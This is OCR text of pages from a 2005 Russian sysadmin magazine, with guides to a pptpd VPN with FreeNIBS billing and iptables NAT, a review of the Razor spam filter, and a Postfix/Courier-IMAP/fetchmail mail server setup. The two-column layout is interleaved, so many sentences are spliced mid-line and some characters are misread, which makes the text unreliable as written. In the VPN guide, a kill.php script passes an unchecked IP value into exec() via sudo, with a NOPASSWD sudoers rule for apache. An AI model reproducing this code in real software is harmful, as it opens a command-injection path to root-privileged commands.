Сперва настраиваем и тестируем связку pptpd+pppd та трафика FreeNIBS.
в «чистом» виде, используя для авторизации пользовате-
лей данные, хранящиеся в /etc/ppp/chap-secrets. Настройка биллинговой системы
В файле /etc/pptpd.conf дописываются следующие стро- Сама по себе вышесозданная система не обладает гиб-
ки: костью. А перед системным администратором часто сто-
ит задача – распределить интернет-трафик между пользо-
// предельная скорость соединения, бит/с вателями. Хорошим тоном является выделение для поль-
speed 115200
// подключаем файл с параметрами зователя фиксированного количества мегабайт интернет-
option /etc/ppp/options.pptpd трафика в месяц. Отсюда вытекает необходимость вес-
// включаем отладочный режим
debug ти статистику для каждого пользователя, которая содер-
// IP-адрес на стороне сервера. Используется для установки жала бы количество принятых и переданных байт за од-
// двухточечного соединения
localip 192.168.100.1 но подключение и целиком за месяц. Все эти возможнос-
// IP-адрес на стороне клиента. Указывается один адрес или ти реализует пакет FreeNIBS (Neon internet Billing System
// диапазон адресов, один из которых выдается клиентскому
// компьютеру при установке VPN-соединения. В данном примере for FreeRadius). FreeNIBS является надстройкой для паке-
// выделяется диапазон адресов: 192.168.101.1-192.168.101.100 та FreeRadius. FreeRadius – это одна из реализаций прото-
remoteip 192.168.101.1-100
кола RADIUS (Remote Authentication Dial In User Service), ко-
Настройки VPN-подключения описаны в файле /etc/ торый служит для авторизации удаленных пользователей.
ppp/options.pptpd. Первоначально протокол разрабатывался для больших мо-
Для VPN-соединения, использующего MPPE-шифро- демных пулов, но реализация получилась настолько удач-
вание, необходимо отключить алгоритмы сжатия переда- ной, что сейчас он используется не только для DialUP-под-
ваемых данных: ключений, но и для IP-телефонии и организации доступа
в VPN-сети. FreeNIBS использует FreeRadius для автори-
nobsdcomp зации пользователей.
nodeßate
Пакет собирается из исходников. В результате компи-
Pppd поддерживает несколько протоколов аутентифика- ляции получается несколько пакетов. Основными являются
ции. Это PAP, CHAP, MSCHAP. Протоколы семейства CHAP freenibs-0.0.3-0.9.3-alt4.i686.rpm и freeradius-0.9.3-alt4.i686.
более надежны, нежели PAP, так как PAP передает пароль rpm. Остальные пакеты добавляют в программу поддержку
по сети в открытом виде, а CHAP – только его хеш-сумму. различных баз данных и скриптовых языков. В данном про-
Клиентами Windows используется протокол авторизации екте используется сервер баз данных MySQL, поэтому до-
MSCHAP и его обновленная версия MSCHAP-v2. Необходи- полнительно устанавливается пакет freeradius-mysql-0.9.3-
мо отключить ненужные протоколы и разрешить использо- alt4.i686.rpm.
вание только протоколов MSCHAP/MSCHAP-v2: FreeRadius состоит из двух частей – клиента и серве-
ра. Сервер реализует протокол RADIUS. Клиентом являет-
refuse-pap ся сервер доступа (NAS – Network Access Server), в данном
refuse-chap
require-mschap случае это VPN-сервер. Для того чтобы pptp взаимодейс-
require-mschapv2 твовал с Radius-сервером, в файл /etc/ppp/options.pptpd до-
бавляем следующие строки:
Всегда существует опасность перехвата данных в ло-
кальной сети. Поэтому в целях безопасности устанавлива- plugin radius.so
plugin radattr.so
ем принудительное шифрование трафика:

№9, сентябрь 2005 43


администрирование
В файле /etc/raddb/clients.conf перечисляются все кли- authorize _ query _ prof = "SELECT tos, do _ with _ tos, ↵
direction, Þxed, Þxed _ cost, activation _ time, ↵
енты, которые будут обращаться к Radius-серверу. Так как total _ time _ limit, month _ time _ limit, week _ ↵
в нашем случае он один, то файл содержит только следу- time _ limit, day _ time _ limit, total _ trafÞc _ limit, ↵
month _ trafÞc _ limit, week _ trafÞc _ limit, day _ ↵
ющее: trafÞc _ limit, total _ money _ limit, ↵
month _ money _ limit, week _ money _ limit, ↵
client 127.0.0.1 { day _ money _ limit, login _ time, huntgroup _ name, ↵
secret = testing123 simultaneous _ use, port _ limit, session _ timeout, ↵
shortname = localhost idle _ timeout, allowed _ preÞxes, no _ pass, no _ acct, ↵
nastype = other allow _ callback, other _ params ↵
} FROM ${auth _ table} WHERE user = '%{SQL-User-Name}'"

Здесь говорится, что клиент будет обращаться с локаль- Здесь описывается запрос к базе данных, который про-
ной машины (адрес 127.0.0.1). Параметр secret содержит изводится во время авторизации пользователя.
ключевое слово, которое позволяет серверу идентифици- Чтобы отслеживать IP-адреса компьютеров, с которых
ровать отдельных клиентов. Параметр shortname содержит производится подключение, в файл /etc/pptpd.conf добав-
имя (краткое) хоста клиента, а в параметре nastype хранит- ляется следующая строка:
ся тип клиента. В данном случае он не совпадает со стан-
дартными, поэтому там указывается значение other. pppd /usr/sbin/call-pppd
Настройки клиента RADIUS хранятся в каталоге /etc/
radiusclient. А записи о сервере хранятся в файле /etc/ call-pppd – это bash-скрипт, производящий запуск pppd с до-
radiusclient/servers, где необходимо лишь записать адрес полнительными параметрами, IP-адресом машины кли-
сервера и ключевое слово: ента и её MAC-адресом. Эта позволяет отслеживать ад-
министратору, с каких именно компьютеров производит-
localhost testing123 ся подключение.
При превышении лимита на трафик пользователь дол-
Для хранения пользовательских аккаунтов и статисти- жен быть отключен от сервера. За это отвечает специаль-
ки используется база данных MySQL. Параметры для до- ный скрипт, путь к которому указывается в файле /etc/raddb/
ступа к базе содержатся в файле /etc/raddb/nibs.conf. Ре- nibs.conf, в параметре kill_program. С пакетом FreeNIBS идет
дактируются следующие строки: специальный скрипт для отключения пользователей, «за-
точенный» под протокол PPP:
server = "localhost"
port = "3306" kill _ program = "${sbin _ dir}/pppkill %{Framed-IP-Address}"
login = "freenibs"
password = "password"
Работа с пользователями и просмотр статистики произ-
Здесь стоит упомянуть, что FreeNIBS может работать водятся через веб-интерфейс. Он предназначен для рабо-
с пользователями в двух режимах – простом и професси- ты на виртуальном сервере. После создания виртуального
ональном. В простом режиме для всех пользователей оп- хоста файлы веб-интерфейса, находящиеся в src/modules/
ределенной группы используются единые настройки груп- rlm_nibs/utils/web, копируются в соответствующий каталог.
пы. В профессиональном режиме у каждого пользователя Так как интерфейсов два (администрирование системы
могут быть индивидуальные настройки. и просмотр статистики), то и виртуальных хостов соответс-
Далее необходимо настроить саму базу данных. В паке- твенно будет столько же.
те исходных текстов в каталоге freeradius/src/modules/rlm_ Необходимо отредактировать только файл include/mysql.
nibs/drivers/rlm_nibs_mysql (здесь и далее если не указан php и прописать в нём соответствующие имя пользователя
абсолютный путь, то речь идёт об исходных текстах пакета и пароль для доступа к базе данных.
FreeNIBS) находятся файлы с описанием структур таблиц. Веб-интерфейс можно дорабатывать, добавляя новые
Файл nibs_mysql.sql содержит набор SQL-команд для созда- возможности. В данном проекте была добавлена возмож-
ния базы данных freenibs и таблиц в ней. Файл nibs_mysql_ ность сброса пользователей с линии на странице «Online».
prof_add.sql содержит запросы, модифицирующие ранее Для этого в существующий файл online.php была добавле-
созданные таблицы, для их использования в профессио- на ссылка для вызова скрипта kill.php. Скрипту передает-
нальном режиме. ся параметр – IP-адрес пользователя, которого необходи-
В файле nibs_mysql.sql редактируется строка с паро- мо «сбросить».
лем для пользователя базы данных freenibs. После этого Файл kill.php содержит следующие строки:
запросы необходимо передать MySQL. Это делается сле-
дующими командами: <?php
exec("sudo /usr/sbin/pppkill $ip");
header("Location:online.php");
#mysql -u root -p < nibs _ mysql.sql ?>
#mysql -u root -p < nibs _ mysql _ prof _ add.sql

Чтобы включить профессиональный режим, необходи- pppkill является привилегированной командой. То есть вы-
мо, помимо модификации таблиц, раскомментировать сле- звать ее можно либо пользователю root, либо с помощью
дующую строку в файле nibs.conf (и не забыть перезапус- утилиты sudo. Так как php-скрипты выполняются от имени
тить FreeRadius, если он уже работает): пользователя apache, необходимо разрешить ему выпол-

44
администрирование
нять эту команду. Для этого в файле /etc/sudoers дописы- Перед использованием iptables необходимо отменить
вается следующая строка: все ранее указанные правила (если таковые существова-
ли). Для этого запускаем утилиту с ключом -F:
apache ALL = NOPASSWD: /usr/sbin/pppkill
# iptables -F
Теперь можно создавать пакеты и пользователей.
На первых этапах рекомендуется запускать FreeRadius, Теперь можно приступать к созданию правил. Здесь не-
не используя утилиту service, а из командной строки с па- обходимо выбрать критерии, по которым фильтруются па-
раметром -X: кеты. Чаще всего это сетевой адрес отправителя/получа-
теля, порт и сетевой интерфейс. Для того чтобы запретить
# radiusd -X все пакеты, адресуемые извне на порт 3306 (MySQL), да-
ется следующая команда:
Запущенный таким образом FreeRadius отображает под-
робные логи в текущей консоли. # iptables -A INPUT -p tcp -s ! 192.168.0.0/16 ↵
-d 195.5.28.227 --destination-port 3306 -j DROP

Настройка преобразования сетевых Здесь:


адресов (NAT) и фильтрации пакетов ! в параметре -p указывается протокол (tcp);
Существуют несколько диапазонов IP-адресов, кото- ! в параметре -s указывается адрес отправителя (в дан-
рые используются только для адресации в локальных се- ном случае все адреса, не принадлежащие подсети
тях. То есть в сети Интернет эти адреса не используются. 192.168.0.0./16);
К ним относятся подсеть класса A 10.x.x.x и подсети клас- ! в параметре -d указывается адрес получателя (здесь
са C 192.168.x.x (также существует диапазон сетей класса адрес, получаемый от провайдера при подключении);
B, но он практически не используется). ! в параметре --destination-port указывается номер порта
Провайдер интернет-услуг чаще всего предоставляет (3306);
только один уникальный адрес, который присваивается ! в параметре -j указываем действие, которое необходи-
интерфейсу, через который осуществляется доступ в сеть мо совершить с пакетом, который удовлетворяет опи-
Интернет. Для того чтобы компьютеры локальной сети мог- санным критериям (в данном случае уничтожить).
ли получить доступ в Интернет, используется технология
преобразования сетевых адресов NAT (Network Address После того как все правила для уничтожения пакетов
Translation). Суть этой технологии состоит в следующем – заданы, необходимо разрешить прохождение всех осталь-
во всех пакетах, которые направлены в сеть Интернет, в за- ных пакетов:
головке локальный адрес отправителя заменяется на вне-
шний. В ALM-системe NAT реализует утилита iptables. # iptables -P INPUT ACCEPT
# iptables -P OUTPUT ACCEPT
Также в круг задач iptables входит фильтрация сетевых # iptables -P FORWARD ACCEPT
пакетов по заданным критериям. Это необходимо в целях
безопасности. Используя iptables, можно оградить доступ Для того чтобы заработала система преобразования се-
к локальным службам извне. А также запретить прохожде- тевых адресов, необходимо дать команду:
ние локальных сетевых пакетов по внешним сетевым ин-
терфейсам. # iptables -A POSTROUTING -t nat -s $IP _ REMOTE ↵
-o $PPP _ MODEM -j SNAT --to-source внешний _ ip _ адрес
Фильтрацию пакетов можно организовать двумя спо-
собами. Запрещать все пакеты и разрешать только необ- В процессе настройки было обнаружено, что операци-
ходимые. А можно пропускать все пакеты, запрещая яв- онная система Windows XP некорректно передает данные
но только те пакеты, которые являются нежелательными. в сети VPN. Для корректной работы необходимо явно за-
Однако вторая политика чревата очень большими непри- дать размер фрагментированных пакетов:
ятностями.
Утилита iptables управляется из командной строки и име- # iptables -I POSTROUTING 1 -t nat -p tcp ↵
--tcp-ßags SYN,RST SYN -j TCPMSS --set-mss 1024
ет огромное число параметров. Для удобства администри-
рования создается скрипт, в котором содержатся все необ- После того как заработала система преобразования се-
ходимые команды. Скрипт помещается в каталог /etc/ppp/ тевых адресов – пользователи локальной сети, – получают
ip-up.d. Это гарантирует запуск скрипта после соединения возможность практически полноценной работы в сети Ин-
с сетью Интернет. тернет. К недостаткам данной системы (точнее, это относит-
Чтобы получить возможность передачи пакетов между ся только к NAT) причислить невозможность работы клиен-
сетевыми интерфейсами (маршрутизация), дается следу- тов с файлообменными p2p-сетями (например, E-Donkey).
ющая команда: Это связано с тем, что сервер файлообменной сети пытает-
ся установить прямое соединение с клиентом. Выйти из по-
# echo "1" > /proc/sys/net/ipv4/ip _ forward ложения можно, включив форвардинг портов, которые ис-
пользует p2p-клиент. В результате работы пользователи
Данная команда записывает 1 в файл, находящийся получают доступ в сеть Интернет, а администратор – гиб-
в виртуальной файловой системе /proc. кий инструмент управления этой системой.

№9, сентябрь 2005 45


администрирование

«БРИТВА» ДЛЯ СПАМА


ОБЗОР АНАЛИЗАТОРА RAZOR

СЕРГЕЙ СУПРУНОВ

За последние десятилетия человечество научилось довольно успешно бороться


с компьютерными вирусами. А почему бы не использовать подобные методы и для борьбы
со спамом? Один из таких подходов реализован в пакете Vipul’s Razor.

С
истема Razor является сигнатурным анализатором, вашей системы. Для успешной работы в системе должны
принцип действия которого заключается в следую- быть установлены следующие модули Perl: Time::HiRes,
щем. Чтобы определить, является ли сообщение спа- Digest::SHA1, MIME::Base64, Test::Simple, Test::Harness,
мом, система рассчитывает его сигнатуру (чтобы не реаги- Getopt::Long, File::Copy и URI::Escape. Чтобы не возиться
ровать на незначительные модификации, применяются раз- с их установкой по отдельности, можно скачать и поста-
личные алгоритмы получения нечетких сигнатур) и сверя- вить пакет razor-agents-sdk.
ет ее с базой спама, собираемого по всему миру. Если со- Кроме того, в сети можно найти RPM- и прочие пакеты,
ответствие находится, то анализируемое письмо считается подготовленные для удобной установки на тот или иной дис-
спамом и обрабатывается согласно дальнейшим настрой- трибутив Linux. Правда, на сайте проекта ссылки на такие
кам. Если же совпадение не обнаружено, сообщение до- пакеты отсутствуют.
ставляется получателю как обычно. То есть подобные ана- На этом установку можно считать завершенной, перей-
лизаторы действуют аналогично антивирусным пакетам, дем к первоначальной настройке.
позволяя отлавливать известные экземпляры спама.
Чтобы все заработало…
Установка системы… …потребуется выполнить несколько несложных действий.
…никаких сложностей вызвать не должна. На системах Хотя нужно заметить, что и в конфигурации по умолча-
FreeBSD наиболее удобный путь инсталляции дополнитель- нию Razor способен работать не хуже. Тем не менее, всег-
ных приложений – использование коллекции портов. да лучше иметь определенный уровень контроля над ра-
После несложной и непродолжительной инсталляции в ботой установленных программ, поэтому приступим к пер-
каталоге /usr/local/bin появятся пять программ, о назначе- воначальной настройке.
нии которых мы поговорим в дальнейшем: Прежде всего потребуется создать для Razor рабочий
каталог, где он будет хранить свои лог-файлы, кэш и т. п.
# ls -la razor* Если этого не сделать, то при первом запуске Razor домаш-
-r-xr-xr-x 1 root wheel 933 30 авг 11:25 razor-admin ний каталог будет создан в домашней директории запус-
-r-xr-xr-x 1 root wheel 935 30 авг 11:25 razor-check тившего его пользователя под именем .razor.
-r-xr-xr-x 1 root wheel 636 30 авг 11:25 razor-client
-r-xr-xr-x 1 root wheel 939 30 авг 11:25 razor-report
Создать же домашний каталог в удобном вам месте
-r-xr-xr-x 1 root wheel 939 30 авг 11:25 razor-revoke позволит команда:

Более универсальный путь инсталляции, пригодный # razor-admin -home=/usr/home/serg/.razor -create


# ls -l .razor
практически для всех UNIX- и Linux-систем, – установка из
исходных кодов. Здесь тоже все банально. Скачиваем пос- -rw-r--r--
-rw-r--r--
1
1
root
root
serg 484 7 сен 10:50
serg 20 7 сен 10:50
server.joy.cloudmark.com.conf
servers.catalogue.lst
ледний архив razor-agents с исходниками с сайта проекта -rw-r--r-- 1 root serg 22 7 сен 10:50 servers.discovery.lst
(http://razor.sourceforge.net), распаковываем и затем:
-rw-r--r-- 1 root serg 38 7 сен 10:50 servers.nomination.lst

Как видите, этой командой в указанном каталоге мы со-


# perl MakeÞle.PL PREFIX=/usr/local здаем необходимые для работы файлы.
# make
# make test Если вы планируете стать активным участником систе-
# make install мы Razor и отсылать в центральную базу сообщения, кото-
рые вы сочли спамом, но которые не были определены сис-
Естественно, в качестве префикса вы можете указать темой, вам необходимо дополнительно зарегистрировать-
любой путь, который лучше соответствует организации ся на сервере, для чего используется команда:

46
администрирование
# razor-admin -home=/usr/home/serg/.razor -register
Краткая справка
Register successful. Identity stored in
/usr/home/serg/.razor/identity-duej3i5wNF
Система Razor увидела свет в мае 2000 года. Летом 2002 года был
выпущен первый релиз второй ветки (Razor v2). В настоящее вре-
В итоге вы получите личный идентификатор, и для вас мя актуальной является версия 2.77, вышедшая 19 июля 2005 го-
система будет вести статистику по «рапортам» (как их от- да. Распространяется под лицензией ARTISTIC. Помимо версии
сылать, рассмотрим немного позже). Если вы часто буде- для POSIX-систем, компанией Cloudmark разрабатывается Razor
те пересылать как спам сообщения, другими участниками для программ Outlook и Outlook Express под именем SpamNet.
в качестве такового не рассматриваемые, то ваш рейтинг
доверия упадет. Это позволяет снизить возможность про- На страницах справочного руководства приводится три при-
ведения атак, нацеленных на компрометацию системы пу- мера подключения Razor:
тем повышения числа ложных срабатываний. Чтобы изменить тэг «Subject» в заголовке писем:
Дополнительно тонкую подстройку поведения системы
можно выполнить, указывая необходимые опции в конфи- :0 Wc
| razor-check
гурационном файле /usr/local/etc/razor-agent.conf. В процес- :0 Waf
се инсталляции он не создается, но вы можете сформиро- | formail -i "Subject: Razor Warning: SPAM/UBE/UCE"
вать его принудительно следующей командой:
Добавляет тэг «X-Razor2-Warning» в заголовок сооб-
# razor-admin -create ↵ щений:
-conf=/usr/home/serg/.razor/razor-agent.conf

При этом указанный файл будет заполнен значениями :0 Wc


| razor-check
по умолчанию, которые вы в дальнейшем сможете подкор- :0 Waf
ректировать в соответствии со своими предпочтениями и | formail -A "X-Razor2-Warning: SPAM."
конкретными условиями.
Подробнее с параметрами конфигурации вы сможе- Помещает спам в отдельный почтовый ящик:
те ознакомиться на странице man razor-agent.conf(1) (хо-
тя правильнее было бы поместить эту справку в пятый :0 Wc
| razor-check
раздел). :0 Waf
/home/foo/Mail/razor-caught
Выполнить проверку почты на спам…
…позволяет команда razor-check. Например, так можно про- Подробности смотрите в справке по procmail.
сканировать содержимое вашего почтового ящика:
Если Razor ошибся…
# razor-check -home=/usr/home/serg/.razor ./serg …вы можете указать ему на его ошибку, переслав пропу-
11 щенный спам командой razor-report либо «отозвав» из ба-
15 зы нормальное сообщение, ошибочно признанное спамом,
21
24
с помощью команды razor-revoke. В обоих случаях вы долж-
ны быть зарегистрированы в системе (см. выше). Подроб-
Данная команда выводит на экран номера сообщений, ности смотрите на man-страницах этих команд.
которые, по ее мнению, являются спамом. На момент тес-
тирования в ящике serg лежало 10 бережно сохраненных И в итоге получилось…
спамовых писем, но Razor распознал лишь четыре – два …что Razor можно лишь с некоторой с натяжкой считать
англоязычных, и два – отечественного производства. На полезным инструментом для определения спама. В соста-
остальные фильтр никак не отреагировал. ве других средств, например, Spamassassin, эта система
В принципе столь низкая точность распознавания объ- еще позволит увеличить качество детектирования неже-
ясняется не очень высокой популярностью данного серви- лательной почты. Однако его самостоятельное использо-
са на просторах российского Интернета, и потому «родной» вание, тем более в Рунете, вряд ли можно рассматривать
спам весьма слабо представлен в базах Razor. как эффективное решение. Особенно в условиях современ-
Однако сразу оговорюсь, что полученный мною резуль- ного «быстрого» спама, когда рассылка завершается в те-
тат отнюдь не претендует на статус официального тестиро- чение одного-двух часов, чего, как правило, недостаточно
вания. Тем более что на столь небольшом количестве об- для накопления достоверного количества «рапортов». Ес-
разцов получить достоверные результаты практически не- ли к этому добавить еще и все более изощренные способы
возможно. Это следует рассматривать просто как первое «индивидуализации» каждого рассылаемого сообщения,
впечатление – что получилось, о том и написал. с которыми даже нечеткие сигнатуры справляются далеко
не всегда, то можно с грустью констатировать, что сигна-
Чтобы спам отсеивался турные анализаторы доживают свой век, и вряд ли на них
автоматически… следует делать ставку при построении оборонительных со-
…придется прибегнуть к вспомогательным средствам. На- оружений на своем сервере.
иболее эффективным выглядит взаимодействие с procmail. Удачи.

№9, сентябрь 2005 47


администрирование

НАСТРАИВАЕМ ОСНОВНЫЕ КОМПОНЕНТЫ


ПОЧТОВОГО СЕРВЕРА

ЕВГЕНИЙ ЛИТВИНЕНКО
Конфигурирование почтового сервера – задача далеко не легкая. Множество почтовых
программ и их настроек могут стать для неопытного системного администратора настоящей
головной болью. Описываемая в статье система проста в конфигурировании и практически
не требует отладки.

С
егодня мы рассмотрим настройу почтового сервера ! SquirrelMail – удобный и простой веб-интерфейс для до-
на базе ALT Linux Master 2.4. Настройка системы ос- ступа к почте.
новывается на проекте TNMailServer Project (http://
www.techie.org/Projects/TNMailServer-Full.aspx), создатели Для установки вышеперечисленных пакетов дается сле-
которого предоставили структуру базы данных и удобный дующая команда:
веб-интерфейс для администрирования почтового серве-
ра. Проект TNMailServer отличается от аналогов просто- # apt-get install postÞx postÞx-mysql courier-imap ↵
courier-authdaemon-mysql fetchmail squirrelmail
той в настройке.
Почтовый сервер состоит из нескольких взаимосвязан-
ных элементов. Наличие некоторых из них является обяза- Конфигурирование базы данных
тельным, других – опциональным. В нашем случае исполь- Теперь необходимо создать базу данных и таблицы в ней.
зуется следующая рабочая связка: Postfix+MySQL+Courier- Структуры таблиц создаются согласно рекомендациям раз-
IMAP+ fetchmail+SquirrelMail. Рассмотрим функциональное работчиков проекта TNMailServer (см. файл на сайте жур-
назначение отдельных компонентов: нала www.samag.ru, в разделе «Исходный код» или на сай-
! Postfix – популярный MTA (Mail Transfer Agent), предна- те проекта TNMailServer Project – http://techie.org/Projects/
значенный для приема/передачи писем. TNMailServer.aspx?selForm=01-Introduction).
! MySQL – сервер баз данных. В данном случае он не- Сервер принимает запросы к базе данных по запуску
обходим для хранения пользовательских аккаунтов. следующей команды:
Вместо него можно использовать другие БД, напри-
мер, PostgreSQL или службу каталогов LDAP. А можно # mysql -u root -p
и просто текстовые файлы.
! Courier-IMAP – сервис доступа к почте, поддерживаю- Названия полей непринципиальны, так как в конфигу-
щий протокол IMAP4 и POP3 (опционально). рационном файле Postfix указывается, что в конкретном
! Fetchmail – утилита для приема почты. В ее задачи вхо- поле будет храниться.
дит доставка почты от провайдера. Используется толь-
ко в том случае, если реальный почтовый ящик находит- Настройка Postfix
ся у провайдера. (Данная методика также может при- Далее настраиваем Postfix. Конфигурационные файлы па-
меняться, если канал доступа к сети Интернет недоста- кета находятся в каталоге /etc/postfix. В файле main.cf из-
точно широк. Таким образом, письма ходят по каналу меняются следующие параметры:
не постоянно, а забираются через определенные про-
межутки времени). myhostname = mail.net.lps

48
администрирование
указываем доменное имя почтового узла. virtual _ mailbox _ domains = ↵
proxy:mysql:/etc/postÞx/ TNMailServer-Domain.cf
mydomain = net.lps этот параметр отвечает за извлечение из БД имен вирту-
альных доменов.
в этом параметре указывается имя обслуживаемого до- Файл TNMailServer-Domain.cf помимо общих записей со-
мена. держит следующее:

inet _ interfaces = 127.0.0.1 table = TNDomain


select _ Þeld = Name
where _ Þeld = Name
в параметре указываются сетевые интерфейсы, на которых
принимает запросы Postfix. Так как в дальнейшем работа с В поле Name содержится имя виртуального домена.
почтой будет производиться через веб-интерфейс, то ука-
зываем только loopback-интерфейс, что повышает уровень virtual _ mailbox _ maps = ↵
proxy:mysql:/etc/postÞx/ TNMailServer-Mailbox.cf
безопасности системы в целом. Теперь к Postfix могут об-
ратиться только локальные приложения. данный параметр отвечает за извлечение из БД пути к поч-
товому ящику.
virtual _ mailbox _ base = /opt/vmail Файл TNMailServer-Mailbox.cf содержит следующее:

указываем каталог, в котором будет храниться содержи- table = TNAccount


select _ Þeld = MailDirLocation
мое почтовых ящиков. where _ Þeld = EmailAddress
В приведенном примере используется каталог /opt, так
как он расположен на отдельном разделе. Традиционно поч- Поле MailDirLocation содержит путь к каталогу почто-
та хранится в каталоге /var. вого ящика относительно пути, указанного в параметре
virtual_mailbox_base.
virtual _ mail _ box = 50000000
virtual _ mailbox _ limit _ maps = ↵
proxy:mysql:/etc/postÞx/ TNMailServer-Quota.cf
в этом параметре назначается максимальный размер поч-
тового ящика (~50 Мб). здесь определяется максимальный размер почтового ящи-
Теперь необходимо указать поля базы данных, которые ка (используется, если поле содержит значение отличное
будет использовать Postfix: от нуля, иначе используется значение, указанное в пара-
метре virtual_mail_box из файла main.cf).
virtual _ alias _ maps = ↵ В файле TNMailServer-Quota.cf хранится следующее:
proxy:mysql:/etc/postÞx/ TNMailServer-Alias.cf

данная переменная отвечает за извлечение из базы e-mail- table = TNAccount


select _ Þeld = Quota
адреса перенаправления почты (форвардинг). where _ Þeld = EmailAddress
Файл TNMailServer-Alias.cf содержит следующие дан-
ные: Теперь необходимо указать, куда направлять почту, ко-
торая адресована во «внешний мир». Здесь определяется
user = postÞx адрес сервера:
password = password
hosts = localhost
dbname = TNMailServer relay _ host = gts.lg.ua
table = TNAccount
select _ Þeld = ForwardAddress
where _ Þeld = EmailAddress В конфигурационном файле также присутствуют строки,
additional _ conditions = and active=1
в которых записаны идентификаторы пользователя и груп-
где: пы. Этому пользователю принадлежат каталоги почтовых
! user – имя пользователя базы данных; ящиков и их файлы. Так как работа с почтой будет произво-
! password – пароль; диться через веб-интерфейс, то необходимо указать иден-
! table – имя таблицы в базе данных; тификаторы пользователя и группы, от имени которого ра-
! hosts – доменное имя хоста, на котором расположен сер- ботает веб-сервер Apache.
вер баз данных; Идентификаторы пользователей (UID) хранятся в фай-
! dbname – имя базы данных; ле /etc/passwd, идентификаторы групп (GID) – в файле /etc/
! select_field – содержит имя поля таблицы, данные из ко- group. Пользователь apache обычно имеет идентификатор
торого необходимо извлечь; пользователя/группы 96. Однако, чтобы в этом удостове-
! where_field – содержит имя поля, по условию которого риться, даем команду:
извлекается значение из select_field.
# id apache
В данном примере мы извлекаем адрес перенаправле-
ния почтовых сообщений из записи, которая содержит не- Теперь необходимо внести соответствующие измене-
обходимый e-mail-адрес. ния в файл /etc/postfix/main.cf:

№9, сентябрь 2005 49


администрирование
virtual _ minimum _ uid = 96 почтовый сервер с любого компьютера, оснащенного веб-
virtual _ uid _ maps = static:96
virtual _ gid _ maps = static:96 браузером.

Остальные настройки можно оставить по умолчанию. Тестирование и отладка системы


Создав два тестовых ящика, можно проверить работоспо-
Настройка IMAP-сервера собность почтовой системы. Для этого необходимо подклю-
Теперь необходимо настроить Courier-IMAP. Конфигу- читься к нашему SMTP-серверу через утилиту telnet:
рационные файлы сервиса находятся в каталоге /etc/
courier-imap. Courier-IMAP для авторизации пользовате- # telnet localhost 25
лей почты использует свой компонент authdaemon. Дан-
ный компонент может использовать различные виды сер- Если сервер запущен, то программа покажет его при-
веров баз данных, для хранения пользовательских ак- глашение:
каунтов. Для работы с MySQL устанавливается модуль
220 mail.net.lps ESMTP Postfix
authdaemon-mysql. (Так как утилита apt-get ставит все па-
кеты, от которых зависит устанавливаемый пакет, то до- После этого сервер готов принимать команды. Снача-
статочно дать команду для установки пакета authdaemon- ла необходимо «представиться», дав команду HELO имя_
mysql, чтобы apt-get установил также пакеты courier-imap домена:
и authdaemon.)
Для того чтобы Courier-IMAP использовал authdaemon, HELO net.lps
в файле /etc/courier-imap/imapd правится следующая
строка: Сервер возвратит ответ:

AUTHMODULES = "authdaemon" 250 mail.net.lps

Теперь можно отправлять письмо. Сначала нужно на-


В файле /etc/courier-imap/authdaemon.conf подключаем писать e-mail отправителя:
модуль поддержки MySQL:
MAIL FROM:"test1@net.lps"
authmodulelist="authmysql"
Если e-mail-адрес корректный, то сервер возвратит код
Используемые поля базы данных прописываются ответа 250:
в конфигурационном файле /etc/courier-imap/authdaemon-
250 OK
mysql.conf:
В противном случае сервер возвратит код ошибки ~500
DEFAULT _ DOMAIN net.lps # имя обслуживаемого домена и укажет причину. После того как сервер принял адрес от-
MYSQL _ SERVER localhost # доменное имя сервера БД
MYSQL _ DATABASE TNMailServer # имя БД правителя, необходимо ввести адрес получателя:
MYSQL _ USERNAME courier # имя пользователя БД
MYSQL _ PASSWORD password # пароль RCPT TO:"test2@net.lps"
MYSQL _ OPT 0
MYSQL _ USER _ TABLE TNAccount # имя таблицы в БД
# имя поля, содержащее адрес электронной почты
MYSQL _ LOGIN _ FIELD EmailAddress Сервер возвращает ответ:
MYSQL _ NAME _ FIELD FullName # полное имя пользователя
MYSQL _ CLEAR _ PWFIELD Password # пароль на почтовый ящик 250 OK
# путь к каталогу, в котором хранится содержимое
# почтовых ящиков Теперь можно вводить текст письма. Сначала дается
MYSQL _ HOME _ FIELD '/opt/vmail'
# путь к почтовому ящику относительно пути, указанного команда DATA.
# в MYSQL _ HOME _ FIELD Сервер сообщит, что можно вводить текст. Для окончания
MYSQL _ MAILDIR _ FIELD MailDirLocation
MYSQL _ GID _ FIELD '96' # идентификатор группы ввода необходимо нажать клавиши <Enter> <.> <Enter>:
# идентификатор пользователя
MYSQL _ UID _ FIELD '96' 354 End data with <CR><LF>.<CR><LF>
# максимальный размер ящика
MYSQL _ QUOTA _ FIELD Quota После окончания ввода текста можно отключаться, для
# шаблон запроса
MYSQL _ QUERY _ LASTREAD UPDATE TNAccount SET ↵ чего дается команда QUIT.
LastLogin=now() WHERE EmailAddress=’%s’ После выполнения этой операции в почтовом ящике
test2@net.lps должно появиться письмо от test1@net.lps. Для
проверки необходимо подключиться к IMAP4- или POP3-
Настройка интерфейса управления серверу. Команды POP3-сервера несколько проще, поэто-
Для администрирования системы (в частности, для созда- му используется подключение к POP3-серверу:
ния почтовых ящиков) предназначен веб-интерфейс. Его ар-
хив находится в сети Интернет по адресу: http://www.techie. # telnet localhost 110
org/downloads/tnmailserveradmin-1.4.1.tgz. Указанный архив
распаковывается в каталог с веб-содержимым (по умол- Корректно работающий сервер выдаст приглашение к
чанию /var/www). После этого можно администрировать вводу команд:

50
администрирование
+OK Hello there После выбора пункта Save Data, данные записываются
в конфигурационный файл.
Для получения доступа к письмам нужно ввести имя
пользователя и пароль: Настройка Fetchmail
Утилита fetchmail позволяет забирать почту от провайдера
USER test2@net.lps интернет-услуг и передавать ее локальной почтовой служ-
PASS password
бе. Конфигурационный файл fetchmail всего один. Это /etc/
Ответ сервера: fetchmailrc. В нем устанавливаются следующие параметры:

+OK Password required set daemon 1200


+OK logged in

Теперь нужно запросить количество писем в ящике. Это Здесь устанавливается интервал в секундах между запус-
делается командой LIST. ками демона fetchmail. Почта забирается раз в 20 минут.
Сервер выдаст ответ в следующем виде: «номер_сооб-
щения его_размер»: poll gts.lg.ua with proto POP3

1 942
В этой строке указываются доменное имя сервера почты
Для прочтения сообщения №1 дается команда RETR: провайдера (gts.lg.ua) и протокол доступа к почте (POP3).

RETR 1 localdomains politex-college.lg.ua

Убедившись, что сообщение дошло до адресата, от- В этом параметре записывается имя домена, на кото-
ключаемся: рый приходит почта.

QUIT user 'politex' there with password 'password' to * here

Здесь записывается имя пользователя почты (politex)


